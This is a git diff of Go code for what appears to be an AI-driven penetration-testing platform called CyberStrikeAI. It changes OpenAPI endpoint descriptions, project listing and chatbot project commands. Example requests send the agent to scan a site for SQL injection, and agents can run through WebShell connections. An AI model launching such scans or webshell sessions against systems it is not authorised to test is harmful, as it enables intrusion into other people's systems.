"description": "创建一个新的安全测试对话。\n**重要说明**:\n- ✅ 创建的对话会**立即保存到数据库**\n- ✅ 前端页面会**自动刷新**显示新对话\n- ✅ 与前端创建的对话**完全一致**\n**创建对话的两种方式**:\n**方式1(推荐):** 直接使用 `/api/eino-agent` 发送消息,**不提供** `conversationId` 参数,系统会自动创建新对话并发送消息。这是最简单的方式,一步完成创建和发送。\n**方式2:** 先调用此端点创建空对话,然后使用返回的 `conversationId` 调用 `/api/eino-agent` 发送消息。适用于需要先创建对话,稍后再发送消息的场景。\n**示例**:\n```json\n{\n \"title\": \"Web应用安全测试\"\n}\n```",
|
||||||
"operationId": "createConversation",
|
"operationId": "createConversation",
|
||||||
"requestBody": map[string]interface{}{
|
"requestBody": map[string]interface{}{
|
||||||
"required": true,
|
"required": true,
|
||||||
@@ -1412,148 +1455,11 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
|||||||
},
|
},
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
"/api/agent-loop": map[string]interface{}{
|
|
||||||
"post": map[string]interface{}{
|
|
||||||
"tags": []string{"对话交互"},
|
|
||||||
"summary": "发送消息并获取AI回复(非流式)",
|
|
||||||
"description": "向AI发送消息并获取回复(非流式响应)。**这是与AI交互的核心端点**,与前端聊天功能完全一致。\n**重要说明**:\n- ✅ 通过此API创建/发送的消息会**立即保存到数据库**\n- ✅ 前端页面会**自动刷新**显示新创建的对话和消息\n- ✅ 所有操作都有**完整的交互痕迹**,就像在前端操作一样\n- ✅ 支持角色配置,可以指定使用哪个测试角色\n**推荐使用流程**:\n1. **先创建对话**:调用 `POST /api/conversations` 创建新对话,获取 `conversationId`\n2. **再发送消息**:使用返回的 `conversationId` 调用此端点发送消息\n**使用示例**:\n**步骤1 - 创建对话:**\n```json\nPOST /api/conversations\n{\n \"title\": \"Web应用安全测试\"\n}\n```\n**步骤2 - 发送消息:**\n```json\nPOST /api/agent-loop\n{\n \"conversationId\": \"返回的对话ID\",\n \"message\": \"扫描 http://example.com 的SQL注入漏洞\",\n \"role\": \"渗透测试\"\n}\n```\n**其他方式**:\n如果不提供 `conversationId`,系统会自动创建新对话并发送消息。但**推荐先创建对话**,这样可以更好地管理对话列表。\n**响应**:返回AI的回复、对话ID和MCP执行ID列表。前端会自动刷新显示新消息。",
|
|
||||||
"operationId": "sendMessage",
|
|
||||||
"requestBody": map[string]interface{}{
|
|
||||||
"required": true,
|
|
||||||
"content": map[string]interface{}{
|
|
||||||
"application/json": map[string]interface{}{
|
|
||||||
"schema": map[string]interface{}{
|
|
||||||
"type": "object",
|
|
||||||
"properties": map[string]interface{}{
|
|
||||||
"message": map[string]interface{}{
|
|
||||||
"type": "string",
|
|
||||||
"description": "要发送的消息(必需)",
|
|
||||||
"example": "扫描 http://example.com 的SQL注入漏洞",
|
|
||||||
},
|
|
||||||
"conversationId": map[string]interface{}{
|
|
||||||
"type": "string",
|
|
||||||
"description": "对话ID(可选)。\n- **不提供**:自动创建新对话并发送消息(推荐)\n- **提供**:消息会添加到指定对话中(对话必须存在)",
|
|
||||||
"example": "550e8400-e29b-41d4-a716-446655440000",
|
|
||||||
},
|
|
||||||
"role": map[string]interface{}{
|
|
||||||
"type": "string",
|
|
||||||
"description": "角色名称(可选),如:默认、渗透测试、Web应用扫描等",
|
|
||||||
"example": "默认",
|
|
||||||
},
|
|
||||||
},
|
|
||||||
"required": []string{"message"},
|
|
||||||
},
|
|
||||||
},
|
|
||||||
},
|
|
||||||
},
|
|
||||||
"responses": map[string]interface{}{
|
|
||||||
"200": map[string]interface{}{
|
|
||||||
"description": "消息发送成功,返回AI回复",
|
|
||||||
"content": map[string]interface{}{
|
|
||||||
"application/json": map[string]interface{}{
|
|
||||||
"schema": map[string]interface{}{
|
|
||||||
"type": "object",
|
|
||||||
"properties": map[string]interface{}{
|
|
||||||
"response": map[string]interface{}{
|
|
||||||
"type": "string",
|
|
||||||
"description": "AI的回复内容",
|
|
||||||
},
|
|
||||||
"conversationId": map[string]interface{}{
|
|
||||||
"type": "string",
|
|
||||||
"description": "对话ID",
|
|
||||||
},
|
|
||||||
"mcpExecutionIds": map[string]interface{}{
|
|
||||||
"type": "array",
|
|
||||||
"description": "MCP执行ID列表",
|
|
||||||
"items": map[string]interface{}{
|
|
||||||
"type": "string",
|
|
||||||
},
|
|
||||||
},
|
|
||||||
"time": map[string]interface{}{
|
|
||||||
"type": "string",
|
|
||||||
"format": "date-time",
|
|
||||||
"description": "响应时间",
|
|
||||||
},
|
|
||||||
},
|
|
||||||
},
|
|
||||||
},
|
|
||||||
},
|
|
||||||
},
|
|
||||||
"400": map[string]interface{}{
|
|
||||||
"description": "请求参数错误",
|
|
||||||
},
|
|
||||||
"401": map[string]interface{}{
|
|
||||||
"description": "未授权,需要有效的Token",
|
|
||||||
},
|
|
||||||
"500": map[string]interface{}{
|
|
||||||
"description": "服务器内部错误",
|
|
||||||
},
|
|
||||||
},
|
|
||||||
},
|
|
||||||
},
|
|
||||||
"/api/agent-loop/stream": map[string]interface{}{
|
|
||||||
"post": map[string]interface{}{
|
|
||||||
"tags": []string{"对话交互"},
|
|
||||||
"summary": "发送消息并获取AI回复(流式)",
|
|
||||||
"description": "向AI发送消息并获取流式回复(Server-Sent Events)。**这是与AI交互的核心端点**,与前端聊天功能完全一致。\n**重要说明**:\n- ✅ 通过此API创建/发送的消息会**立即保存到数据库**\n- ✅ 前端页面会**自动刷新**显示新创建的对话和消息\n- ✅ 所有操作都有**完整的交互痕迹**,就像在前端操作一样\n- ✅ 支持角色配置,可以指定使用哪个测试角色\n- ✅ 返回流式响应,适合实时显示AI回复\n**推荐使用流程**:\n1. **先创建对话**:调用 `POST /api/conversations` 创建新对话,获取 `conversationId`\n2. **再发送消息**:使用返回的 `conversationId` 调用此端点发送消息\n**使用示例**:\n**步骤1 - 创建对话:**\n```json\nPOST /api/conversations\n{\n \"title\": \"Web应用安全测试\"\n}\n```\n**步骤2 - 发送消息(流式):**\n```json\nPOST /api/agent-loop/stream\n{\n \"conversationId\": \"返回的对话ID\",\n \"message\": \"扫描 http://example.com 的SQL注入漏洞\",\n \"role\": \"渗透测试\"\n}\n```\n**响应格式**:Server-Sent Events (SSE),事件类型包括:\n- `message`: 用户消息确认\n- `response`: AI回复片段\n- `progress`: 进度更新\n- `done`: 完成\n- `error`: 错误\n- `cancelled`: 已取消",
|
|
||||||
"operationId": "sendMessageStream",
|
|
||||||
"requestBody": map[string]interface{}{
|
|
||||||
"required": true,
|
|
||||||
"content": map[string]interface{}{
|
|
||||||
"application/json": map[string]interface{}{
|
|
||||||
"schema": map[string]interface{}{
|
|
||||||
"type": "object",
|
|
||||||
"properties": map[string]interface{}{
|
|
||||||
"message": map[string]interface{}{
|
|
||||||
"type": "string",
|
|
||||||
"description": "要发送的消息(必需)",
|
|
||||||
"example": "扫描 http://example.com 的SQL注入漏洞",
|
|
||||||
},
|
|
||||||
"conversationId": map[string]interface{}{
|
|
||||||
"type": "string",
|
|
||||||
"description": "对话ID(可选)。\n- **不提供**:自动创建新对话并发送消息(推荐)\n- **提供**:消息会添加到指定对话中(对话必须存在)",
|
|
||||||
"example": "550e8400-e29b-41d4-a716-446655440000",
|
|
||||||
},
|
|
||||||
"role": map[string]interface{}{
|
|
||||||
"type": "string",
|
|
||||||
"description": "角色名称(可选),如:默认、渗透测试、Web应用扫描等",
|
|
||||||
"example": "默认",
|
|
||||||
},
|
|
||||||
},
|
|
||||||
"required": []string{"message"},
|
|
||||||
},
|
|
||||||
},
|
|
||||||
},
|
|
||||||
},
|
|
||||||
"responses": map[string]interface{}{
|
|
||||||
"200": map[string]interface{}{
|
|
||||||
"description": "流式响应(Server-Sent Events)",
|
|
||||||
"content": map[string]interface{}{
|
|
||||||
"text/event-stream": map[string]interface{}{
|
|
||||||
"schema": map[string]interface{}{
|
|
||||||
"type": "string",
|
|
||||||
"description": "SSE流式数据",
|
|
||||||
},
|
|
||||||
},
|
|
||||||
},
|
|
||||||
},
|
|
||||||
"400": map[string]interface{}{
|
|
||||||
"description": "请求参数错误",
|
|
||||||
},
|
|
||||||
"401": map[string]interface{}{
|
|
||||||
"description": "未授权,需要有效的Token",
|
|
||||||
},
|
|
||||||
"500": map[string]interface{}{
|
|
||||||
"description": "服务器内部错误",
|
|
||||||
},
|
|
||||||
},
|
|
||||||
},
|
|
||||||
},
|
|
||||||
"/api/eino-agent": map[string]interface{}{
|
"/api/eino-agent": map[string]interface{}{
|
||||||
"post": map[string]interface{}{
|
"post": map[string]interface{}{
|
||||||
"tags": []string{"对话交互"},
|
"tags": []string{"对话交互"},
|
||||||
"summary": "发送消息并获取 AI 回复(Eino ADK 单代理,非流式)",
|
"summary": "发送消息并获取 AI 回复(Eino ADK 单代理,非流式)",
|
||||||
"description": "与 `POST /api/agent-loop` 请求体相同,由 **CloudWeGo Eino** `adk.NewChatModelAgent` + `adk.NewRunner.Run` 执行(单代理 MCP 工具链)。**不依赖** `multi_agent.enabled`;`multi_agent.eino_skills` / `eino_middleware` 等与多代理主代理一致时可生效。支持 `webshellConnectionId`。",
|
"description": "向 AI 发送消息并获取回复(非流式)。由 **CloudWeGo Eino** `adk.NewChatModelAgent` + `adk.NewRunner.Run` 执行单代理 MCP 工具链。**不依赖** `multi_agent.enabled`;`multi_agent.eino_skills` / `eino_middleware` 等与多代理主代理一致时可生效。支持 `webshellConnectionId`、角色与附件。",
|
||||||
"operationId": "sendMessageEinoSingleAgent",
|
"operationId": "sendMessageEinoSingleAgent",
|
||||||
"requestBody": map[string]interface{}{
|
"requestBody": map[string]interface{}{
|
||||||
"required": true,
|
"required": true,
|
||||||
@@ -1573,7 +1479,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
|||||||
},
|
},
|
||||||
},
|
},
|
||||||
"responses": map[string]interface{}{
|
"responses": map[string]interface{}{
|
||||||
"200": map[string]interface{}{"description": "成功,响应格式同 /api/agent-loop"},
|
"200": map[string]interface{}{"description": "成功,响应格式同 /api/eino-agent"},
|
||||||
"400": map[string]interface{}{"description": "参数错误"},
|
"400": map[string]interface{}{"description": "参数错误"},
|
||||||
"401": map[string]interface{}{"description": "未授权"},
|
"401": map[string]interface{}{"description": "未授权"},
|
||||||
"500": map[string]interface{}{"description": "执行失败"},
|
"500": map[string]interface{}{"description": "执行失败"},
|
||||||
@@ -1584,7 +1490,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
|||||||
"post": map[string]interface{}{
|
"post": map[string]interface{}{
|
||||||
"tags": []string{"对话交互"},
|
"tags": []string{"对话交互"},
|
||||||
"summary": "发送消息并获取 AI 回复(Eino ADK 单代理,SSE)",
|
"summary": "发送消息并获取 AI 回复(Eino ADK 单代理,SSE)",
|
||||||
"description": "与 `POST /api/agent-loop/stream` 类似;由 Eino **单代理** ADK 执行。事件类型与多代理流式一致(含 `tool_call` / `response_delta` 等)。**不依赖** `multi_agent.enabled`。",
|
"description": "向 AI 发送消息并获取流式回复(SSE)。由 Eino **单代理** ADK 执行;事件类型与多代理流式一致(含 `tool_call` / `response_delta` / `thinking` 等)。**不依赖** `multi_agent.enabled`。",
|
||||||
"operationId": "sendMessageEinoSingleAgentStream",
|
"operationId": "sendMessageEinoSingleAgentStream",
|
||||||
"requestBody": map[string]interface{}{
|
"requestBody": map[string]interface{}{
|
||||||
"required": true,
|
"required": true,
|
||||||
@@ -1623,7 +1529,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
|||||||
"post": map[string]interface{}{
|
"post": map[string]interface{}{
|
||||||
"tags": []string{"对话交互"},
|
"tags": []string{"对话交互"},
|
||||||
"summary": "发送消息并获取 AI 回复(Eino 多代理,非流式)",
|
"summary": "发送消息并获取 AI 回复(Eino 多代理,非流式)",
|
||||||
"description": "与 `POST /api/agent-loop` 请求体相同,但由 **CloudWeGo Eino** 多代理执行。编排由请求体 `orchestration`(`deep` | `plan_execute` | `supervisor`)指定,缺省为 `deep`。**前提**:`multi_agent.enabled: true`;未启用时返回 404 JSON。支持 `webshellConnectionId`。",
|
"description": "与 `POST /api/eino-agent` 请求体相同,但由 **CloudWeGo Eino** 多代理执行。编排由请求体 `orchestration`(`deep` | `plan_execute` | `supervisor`)指定,缺省为 `deep`。**前提**:`multi_agent.enabled: true`;未启用时返回 404 JSON。支持 `webshellConnectionId`。",
|
||||||
"operationId": "sendMessageMultiAgent",
|
"operationId": "sendMessageMultiAgent",
|
||||||
"requestBody": map[string]interface{}{
|
"requestBody": map[string]interface{}{
|
||||||
"required": true,
|
"required": true,
|
||||||
@@ -1646,7 +1552,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
|||||||
},
|
},
|
||||||
"webshellConnectionId": map[string]interface{}{
|
"webshellConnectionId": map[string]interface{}{
|
||||||
"type": "string",
|
"type": "string",
|
||||||
"description": "WebShell 连接 ID(可选,与 agent-loop 行为一致)",
|
"description": "WebShell 连接 ID(可选,与 Eino 单/多代理流式行为一致)",
|
||||||
},
|
},
|
||||||
"orchestration": map[string]interface{}{
|
"orchestration": map[string]interface{}{
|
||||||
"type": "string",
|
"type": "string",
|
||||||
@@ -1661,7 +1567,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
|||||||
},
|
},
|
||||||
"responses": map[string]interface{}{
|
"responses": map[string]interface{}{
|
||||||
"200": map[string]interface{}{
|
"200": map[string]interface{}{
|
||||||
"description": "成功,响应格式同 /api/agent-loop",
|
"description": "成功,响应格式同 /api/eino-agent",
|
||||||
},
|
},
|
||||||
"400": map[string]interface{}{"description": "参数错误"},
|
"400": map[string]interface{}{"description": "参数错误"},
|
||||||
"401": map[string]interface{}{"description": "未授权"},
|
"401": map[string]interface{}{"description": "未授权"},
|
||||||
@@ -1674,7 +1580,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
|||||||
"post": map[string]interface{}{
|
"post": map[string]interface{}{
|
||||||
"tags": []string{"对话交互"},
|
"tags": []string{"对话交互"},
|
||||||
"summary": "发送消息并获取 AI 回复(Eino 多代理,SSE)",
|
"summary": "发送消息并获取 AI 回复(Eino 多代理,SSE)",
|
||||||
"description": "与 `POST /api/agent-loop/stream` 类似;由 Eino 多代理执行。`orchestration` 指定 deep / plan_execute / supervisor,缺省 deep。**前提**:`multi_agent.enabled: true`;未启用时 SSE 内首条为 `type: error` 后接 `done`。支持 `webshellConnectionId`。",
|
"description": "与 `POST /api/eino-agent/stream` 类似;由 Eino 多代理执行。`orchestration` 指定 deep / plan_execute / supervisor,缺省 deep。**前提**:`multi_agent.enabled: true`;未启用时 SSE 内首条为 `type: error` 后接 `done`。支持 `webshellConnectionId`。",
|
||||||
"operationId": "sendMessageMultiAgentStream",
|
"operationId": "sendMessageMultiAgentStream",
|
||||||
"requestBody": map[string]interface{}{
|
"requestBody": map[string]interface{}{
|
||||||
"required": true,
|
"required": true,
|
||||||
@@ -4790,7 +4696,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
|||||||
"properties": map[string]interface{}{
|
"properties": map[string]interface{}{
|
||||||
"title": map[string]interface{}{"type": "string", "description": "队列标题"},
|
"title": map[string]interface{}{"type": "string", "description": "队列标题"},
|
||||||
"role": map[string]interface{}{"type": "string", "description": "使用的角色名称"},
|
"role": map[string]interface{}{"type": "string", "description": "使用的角色名称"},
|
||||||
"agentMode": map[string]interface{}{"type": "string", "description": "代理模式", "enum": []string{"single", "eino_single", "deep", "plan_execute", "supervisor"}},
|
"agentMode": map[string]interface{}{"type": "string", "description": "代理模式", "enum": []string{"eino_single", "deep", "plan_execute", "supervisor"}},
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
@@ -5037,6 +4943,52 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
|||||||
},
|
},
|
||||||
|
|
||||||
// ==================== 配置管理 - 缺失端点 ====================
|
// ==================== 配置管理 - 缺失端点 ====================
|
||||||
|
"/api/config/test-vision": map[string]interface{}{
|
||||||
|
"post": map[string]interface{}{
|
||||||
|
"tags": []string{"配置管理"},
|
||||||
|
"summary": "测试视觉模型连接",
|
||||||
|
"description": "测试 Vision 模型 API 是否可用。vision.api_key/base_url 留空时可传 openai 段作回退。",
|
||||||
|
"operationId": "testVision",
|
||||||
|
"requestBody": map[string]interface{}{
|
||||||
|
"required": true,
|
||||||
|
"content": map[string]interface{}{
|
||||||
|
"application/json": map[string]interface{}{
|
||||||
|
"schema": map[string]interface{}{
|
||||||
|
"type": "object",
|
||||||
|
"required": []string{"vision"},
|
||||||
|
"properties": map[string]interface{}{
|
||||||
|
"vision": map[string]interface{}{"$ref": "#/components/schemas/VisionConfig"},
|
||||||
|
"openai": map[string]interface{}{
|
||||||
|
"type": "object",
|
||||||
|
"description": "主 LLM 配置(vision 字段留空时用于 API Key/Base URL 回退)",
|
||||||
|
},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
"responses": map[string]interface{}{
|
||||||
|
"200": map[string]interface{}{
|
||||||
|
"description": "测试结果",
|
||||||
|
"content": map[string]interface{}{
|
||||||
|
"application/json": map[string]interface{}{
|
||||||
|
"schema": map[string]interface{}{
|
||||||
|
"type": "object",
|
||||||
|
"properties": map[string]interface{}{
|
||||||
|
"success": map[string]interface{}{"type": "boolean"},
|
||||||
|
"error": map[string]interface{}{"type": "string"},
|
||||||
|
"model": map[string]interface{}{"type": "string"},
|
||||||
|
"latency_ms": map[string]interface{}{"type": "number"},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
"400": map[string]interface{}{"description": "参数错误"},
|
||||||
|
"401": map[string]interface{}{"description": "未授权"},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
},
|
||||||
"/api/config/test-openai": map[string]interface{}{
|
"/api/config/test-openai": map[string]interface{}{
|
||||||
"post": map[string]interface{}{
|
"post": map[string]interface{}{
|
||||||
"tags": []string{"配置管理"},
|
"tags": []string{"配置管理"},
|
||||||
|
|||||||
+41
-41
@@ -61,12 +61,40 @@ func (h *ProjectHandler) CreateProject(c *gin.Context) {
|
|||||||
c.JSON(http.StatusOK, created)
|
c.JSON(http.StatusOK, created)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// GetDashboardSummary GET /api/projects/dashboard-summary
|
||||||
|
func (h *ProjectHandler) GetDashboardSummary(c *gin.Context) {
|
||||||
|
limit, _ := strconv.Atoi(strings.TrimSpace(c.DefaultQuery("fact_limit", "5")))
|
||||||
|
if limit <= 0 {
|
||||||
|
limit = 5
|
||||||
|
}
|
||||||
|
if limit > 50 {
|
||||||
|
limit = 50
|
||||||
|
}
|
||||||
|
summary, err := h.db.GetProjectDashboardSummary(limit)
|
||||||
|
if err != nil {
|
||||||
|
h.logger.Error("获取项目仪表盘摘要失败", zap.Error(err))
|
||||||
|
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if summary.RecentFacts == nil {
|
||||||
|
summary.RecentFacts = []database.ProjectDashboardFact{}
|
||||||
|
}
|
||||||
|
c.JSON(http.StatusOK, summary)
|
||||||
|
}
|
||||||
|
|
||||||
// ListProjects GET /api/projects
|
// ListProjects GET /api/projects
|
||||||
func (h *ProjectHandler) ListProjects(c *gin.Context) {
|
func (h *ProjectHandler) ListProjects(c *gin.Context) {
|
||||||
status := c.Query("status")
|
status := c.Query("status")
|
||||||
limit, _ := strconv.Atoi(c.DefaultQuery("limit", "200"))
|
search := c.Query("search")
|
||||||
|
limit, _ := strconv.Atoi(c.DefaultQuery("limit", "50"))
|
||||||
offset, _ := strconv.Atoi(c.Query("offset"))
|
offset, _ := strconv.Atoi(c.Query("offset"))
|
||||||
list, err := h.db.ListProjects(status, limit, offset)
|
if limit <= 0 {
|
||||||
|
limit = 50
|
||||||
|
}
|
||||||
|
if limit > 500 {
|
||||||
|
limit = 500
|
||||||
|
}
|
||||||
|
list, err := h.db.ListProjects(status, search, limit, offset)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||||
return
|
return
|
||||||
@@ -74,7 +102,17 @@ func (h *ProjectHandler) ListProjects(c *gin.Context) {
|
|||||||
if list == nil {
|
if list == nil {
|
||||||
list = []*database.Project{}
|
list = []*database.Project{}
|
||||||
}
|
}
|
||||||
c.JSON(http.StatusOK, list)
|
total, err := h.db.CountProjects(status, search)
|
||||||
|
if err != nil {
|
||||||
|
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
c.JSON(http.StatusOK, gin.H{
|
||||||
|
"projects": list,
|
||||||
|
"total": total,
|
||||||
|
"limit": limit,
|
||||||
|
"offset": offset,
|
||||||
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
// GetProjectStats GET /api/projects/:id/stats
|
// GetProjectStats GET /api/projects/:id/stats
|
||||||
@@ -240,44 +278,6 @@ func (h *ProjectHandler) ListFacts(c *gin.Context) {
|
|||||||
c.JSON(http.StatusOK, list)
|
c.JSON(http.StatusOK, list)
|
||||||
}
|
}
|
||||||
|
|
||||||
// GetFactPreviousVersion GET /api/projects/:id/facts/:factId/previous-version
|
|
||||||
func (h *ProjectHandler) GetFactPreviousVersion(c *gin.Context) {
|
|
||||||
existing, err := h.db.GetProjectFact(c.Param("factId"))
|
|
||||||
if err != nil || existing.ProjectID != c.Param("id") {
|
|
||||||
c.JSON(http.StatusNotFound, gin.H{"error": "事实不存在"})
|
|
||||||
return
|
|
||||||
}
|
|
||||||
if strings.TrimSpace(existing.SupersedesFactID) == "" {
|
|
||||||
c.JSON(http.StatusNotFound, gin.H{"error": "无上一版本"})
|
|
||||||
return
|
|
||||||
}
|
|
||||||
v, err := h.db.GetProjectFactVersion(existing.SupersedesFactID)
|
|
||||||
if err != nil {
|
|
||||||
c.JSON(http.StatusNotFound, gin.H{"error": err.Error()})
|
|
||||||
return
|
|
||||||
}
|
|
||||||
c.JSON(http.StatusOK, v)
|
|
||||||
}
|
|
||||||
|
|
||||||
// ListFactVersions GET /api/projects/:id/facts/:factId/versions
|
|
||||||
func (h *ProjectHandler) ListFactVersions(c *gin.Context) {
|
|
||||||
existing, err := h.db.GetProjectFact(c.Param("factId"))
|
|
||||||
if err != nil || existing.ProjectID != c.Param("id") {
|
|
||||||
c.JSON(http.StatusNotFound, gin.H{"error": "事实不存在"})
|
|
||||||
return
|
|
||||||
}
|
|
||||||
limit, _ := strconv.Atoi(c.DefaultQuery("limit", "20"))
|
|
||||||
list, err := h.db.ListProjectFactVersions(existing.ID, limit)
|
|
||||||
if err != nil {
|
|
||||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
|
||||||
return
|
|
||||||
}
|
|
||||||
if list == nil {
|
|
||||||
list = []*database.ProjectFactVersion{}
|
|
||||||
}
|
|
||||||
c.JSON(http.StatusOK, list)
|
|
||||||
}
|
|
||||||
|
|
||||||
// CreateFact POST /api/projects/:id/facts
|
// CreateFact POST /api/projects/:id/facts
|
||||||
func (h *ProjectHandler) CreateFact(c *gin.Context) {
|
func (h *ProjectHandler) CreateFact(c *gin.Context) {
|
||||||
var req upsertFactRequest
|
var req upsertFactRequest
|
||||||
|
|||||||
+203
-18
@@ -40,8 +40,13 @@ const (
|
|||||||
robotCmdRoles = "角色"
|
robotCmdRoles = "角色"
|
||||||
robotCmdRolesList = "角色列表"
|
robotCmdRolesList = "角色列表"
|
||||||
robotCmdSwitchRole = "切换角色"
|
robotCmdSwitchRole = "切换角色"
|
||||||
robotCmdDelete = "删除"
|
robotCmdDelete = "删除"
|
||||||
robotCmdVersion = "版本"
|
robotCmdVersion = "版本"
|
||||||
|
robotCmdProjects = "项目"
|
||||||
|
robotCmdProjectsList = "项目列表"
|
||||||
|
robotCmdBindProject = "绑定项目"
|
||||||
|
robotCmdNewProject = "新建项目"
|
||||||
|
robotCmdUnbindProject = "解除项目"
|
||||||
)
|
)
|
||||||
|
|
||||||
// RobotHandler 企业微信/钉钉/飞书等机器人回调处理
|
// RobotHandler 企业微信/钉钉/飞书等机器人回调处理
|
||||||
@@ -269,21 +274,176 @@ func (h *RobotHandler) robotMessageTimeout() time.Duration {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func (h *RobotHandler) cmdHelp() string {
|
func (h *RobotHandler) cmdHelp() string {
|
||||||
return "**【CyberStrikeAI 机器人命令】**\n\n" +
|
var b strings.Builder
|
||||||
"- `帮助` `help` — 显示本帮助 | Show this help\n" +
|
b.WriteString("【CyberStrikeAI 机器人命令】\n\n")
|
||||||
"- `列表` `list` — 列出所有对话标题与 ID | List conversations\n" +
|
b.WriteString("【通用 General】\n")
|
||||||
"- `切换 <ID>` `switch <ID>` — 指定对话继续 | Switch to conversation\n" +
|
b.WriteString("· 帮助 / help — 显示本帮助\n")
|
||||||
"- `新对话` `new` — 开启新对话 | Start new conversation\n" +
|
b.WriteString("· 版本 / version — 显示当前版本号\n")
|
||||||
"- `清空` `clear` — 清空当前上下文 | Clear context\n" +
|
b.WriteString("\n【对话 Conversation】\n")
|
||||||
"- `当前` `current` — 显示当前对话 ID 与标题 | Show current conversation\n" +
|
b.WriteString("· 列表 / list — 列出所有对话标题与 ID\n")
|
||||||
"- `停止` `stop` — 中断当前任务 | Stop running task\n" +
|
b.WriteString("· 切换 <ID> / switch <ID> — 指定对话继续\n")
|
||||||
"- `角色` `roles` — 列出所有可用角色 | List roles\n" +
|
b.WriteString("· 新对话 / new — 开启新对话\n")
|
||||||
"- `角色 <名>` `role <name>` — 切换当前角色 | Switch role\n" +
|
b.WriteString("· 清空 / clear — 清空当前上下文\n")
|
||||||
"- `删除 <ID>` `delete <ID>` — 删除指定对话 | Delete conversation\n" +
|
b.WriteString("· 当前 / current — 显示当前对话、角色与项目\n")
|
||||||
"- `版本` `version` — 显示当前版本号 | Show version\n\n" +
|
b.WriteString("· 停止 / stop — 中断当前任务\n")
|
||||||
"---\n" +
|
b.WriteString("· 删除 <ID> / delete <ID> — 删除指定对话\n")
|
||||||
"除以上命令外,直接输入内容将发送给 AI 进行渗透测试/安全分析。\n" +
|
b.WriteString("\n【角色 Role】\n")
|
||||||
"Otherwise, send any text for AI penetration testing / security analysis."
|
b.WriteString("· 角色 / roles — 列出所有可用角色\n")
|
||||||
|
b.WriteString("· 角色 <名> / role <name> — 切换当前角色\n")
|
||||||
|
if h.projectsEnabled() {
|
||||||
|
b.WriteString("\n【项目 Project】\n")
|
||||||
|
b.WriteString("· 项目 / projects — 列出所有项目\n")
|
||||||
|
b.WriteString("· 新建项目 <名称> / new project <name> — 创建并绑定当前对话\n")
|
||||||
|
b.WriteString("· 绑定项目 <ID或名称> / bind project <ID|name> — 绑定到已有项目\n")
|
||||||
|
b.WriteString("· 解除项目 / unbind project — 解除项目绑定\n")
|
||||||
|
}
|
||||||
|
b.WriteString("\n──────────────\n")
|
||||||
|
b.WriteString("除以上命令外,直接输入内容将发送给 AI 进行渗透测试/安全分析。")
|
||||||
|
return b.String()
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *RobotHandler) projectsEnabled() bool {
|
||||||
|
return h.config != nil && h.config.Project.Enabled
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *RobotHandler) resolveProjectByIDOrName(idOrName string) (*database.Project, string) {
|
||||||
|
idOrName = strings.TrimSpace(idOrName)
|
||||||
|
if idOrName == "" {
|
||||||
|
return nil, "请指定项目 ID 或名称,例如:绑定项目 xxx-xxx"
|
||||||
|
}
|
||||||
|
if p, err := h.db.GetProject(idOrName); err == nil {
|
||||||
|
return p, ""
|
||||||
|
}
|
||||||
|
list, err := h.db.ListProjects("", "", 200, 0)
|
||||||
|
if err != nil {
|
||||||
|
return nil, "查询项目失败: " + err.Error()
|
||||||
|
}
|
||||||
|
var matches []*database.Project
|
||||||
|
for _, p := range list {
|
||||||
|
if p.Name == idOrName {
|
||||||
|
matches = append(matches, p)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
switch len(matches) {
|
||||||
|
case 0:
|
||||||
|
return nil, fmt.Sprintf("项目「%s」不存在。发送「项目」查看列表。", idOrName)
|
||||||
|
case 1:
|
||||||
|
return matches[0], ""
|
||||||
|
default:
|
||||||
|
var b strings.Builder
|
||||||
|
b.WriteString(fmt.Sprintf("名称「%s」匹配到多个项目,请使用 ID 绑定:\n", idOrName))
|
||||||
|
for _, p := range matches {
|
||||||
|
b.WriteString(fmt.Sprintf("· %s\n ID: %s\n", p.Name, p.ID))
|
||||||
|
}
|
||||||
|
return nil, strings.TrimSuffix(b.String(), "\n")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *RobotHandler) formatProjectLabel(projectID string) string {
|
||||||
|
if strings.TrimSpace(projectID) == "" {
|
||||||
|
return "未绑定"
|
||||||
|
}
|
||||||
|
if p, err := h.db.GetProject(projectID); err == nil {
|
||||||
|
return fmt.Sprintf("「%s」 (%s)", p.Name, p.ID)
|
||||||
|
}
|
||||||
|
return projectID
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *RobotHandler) cmdProjects() string {
|
||||||
|
if !h.projectsEnabled() {
|
||||||
|
return "项目功能未启用(config.project.enabled)。"
|
||||||
|
}
|
||||||
|
list, err := h.db.ListProjects("", "", 50, 0)
|
||||||
|
if err != nil {
|
||||||
|
return "获取项目列表失败: " + err.Error()
|
||||||
|
}
|
||||||
|
if len(list) == 0 {
|
||||||
